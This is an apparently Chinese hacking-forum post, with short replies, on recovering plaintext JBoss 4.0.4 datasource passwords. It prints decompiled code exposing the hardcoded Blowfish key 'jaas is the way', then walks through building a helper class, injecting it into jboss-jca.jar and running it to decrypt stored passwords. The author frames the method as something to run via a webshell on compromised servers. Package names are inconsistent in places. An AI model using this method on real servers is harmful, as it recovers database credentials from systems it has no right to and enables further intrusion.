用了JDgui还有看了前辈门的解密方法我一个没成功过。

jboss下是可以对数据源密码进行加密的,相关的文章很多,我这里要讲的是如何破解。

jboss-4.0.4.GA为例,解密的原理很简单,先找到加密所使用的方法:

java -cp "xxx.jar ……" org.jboss2.resource.security.SecureIdentityLoginModule 13456

加密方法好了,找到SecureIdentityLoginModule所在的包jboss-jca.jar,找到SecureIdentityLoginModule.class,稍稍反编译一下就全明白了,加密使用的是: private static String encode(String secret),自然解密的到是:private static char[] decode(String secret)

private static String encode(String secret)
    throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException
   {
    byte[] kbytes = "jaas is the way".getBytes();
    SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");

    Cipher cipher = Cipher.getInstance("Blowfish");
    cipher.init(1, key);
    byte[] encoding = cipher.doFinal(secret.getBytes());
    BigInteger n = new BigInteger(encoding);
    return n.toString(16);
  }

  private static char[] decode(String secret)
    throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException
   {
    byte[] kbytes = "jaas is the way".getBytes();
    SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");

    BigInteger n = new BigInteger(secret, 16);
    byte[] encoding = n.toByteArray();

    Cipher cipher = Cipher.getInstance("Blowfish");
    cipher.init(2, key);
    byte[] decode = cipher.doFinal(encoding);
    return new String(decode).toCharArray();
  }

  public static void main(String[] args)
    throws Exception
  {
    String encode = encode(args[0]);
    System.out.println("Encoded password: " + encode);
  }
}

好了加密解密参数都有了最关键的是如何在webshell执行看了大牛门的解密java我在线测试了一下不成功没有回显不知道是不是阉割版的

byte[] kbytes = "jaas is the way".getBytes()

关键这个前面的大牛在7月份就爆出来了

现在我说的是我的2B笨办法大家可以尝试一下 度娘第一页代码全都偏了我整理了一下

建立文件

jboss-4.0.4.GA\server\default\lib\A.java,内容:

package org.jboss.resource.security; 看不懂的就是函数A的意思啦  直接贴代码就完了
class A{
    public static void main(String args[])
        throws Exception
    {
        SecureIdentityLoginModule seq = new SecureIdentityLoginModule();

        char[] decode = seq.decode(args[0]);
        System.out.println("Haha, DEcoded password: " + new String(decode));
    }
}

再建立文件

再建一个文件SecureIdentityLoginModule.java:package org.jboss.resource.security;

SecureIdentityLoginModule.java:

package org.jboss.resource.security;

class SecureIdentityLoginModule{
    static String encode(String s){
        return s;
    }

    static char[] decode(String s){
        return new char[100];
    }
}

这个SecureIdentityLoginModule是可以单独编译的,然后把编译后的

SecureIdentityLoginModule.class放到\jboss-4.0.4.GA\server\default\lib\org\jboss\resource\security

最后一步,把编译好的A.class添加到jboss-jca.jar包中(作坏事前先备份)。

调用方法:

java -cp "D:\jboss-4.0.4.GA\lib\jboss-jmx.jar;D:\jboss-4.0.4.GA\lib\jboss-common.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar;D:\jboss-4.0.4.GA\server\default\lib\jbosssx.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar" org.jboss.resource.security.A 加密字符串

linux下直接就是把D 改成/home/jboss-4.0.4.GA\lib\jboss-jmx.jar; 等等 我直接把这四个都打包到了本地直接本地假设java环境就可以了反正都是通用的 反正大牛讲的

那个直接编译的我是用不成这个留帖子自己看 有需要的也可以辅助走哦

[原文地址]

相关讨论:

1#

hacker@sina.cn | 2013-12-28 06:10

mark

2#

safe121 (头像是@xsser || 宝鸡巴士公司真诚欢迎来自江阴毛纺厂和江阴道路管理局及上海虹口交警支队的保持党员先进性爱国主义教育小组的领导们!下午将参观模拟开放性交互式的全新网络,在此期间各色饮品由蒙牛酸酸乳房山分销点提供!) | 2013-12-28 07:49

mark.

3#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-28 10:34

mark.

留言评论(旧系统):

佚名 @ 2013-12-29 08:32:13

怎么感觉自己写的那个decode方法有问题呢

本站回复:

So?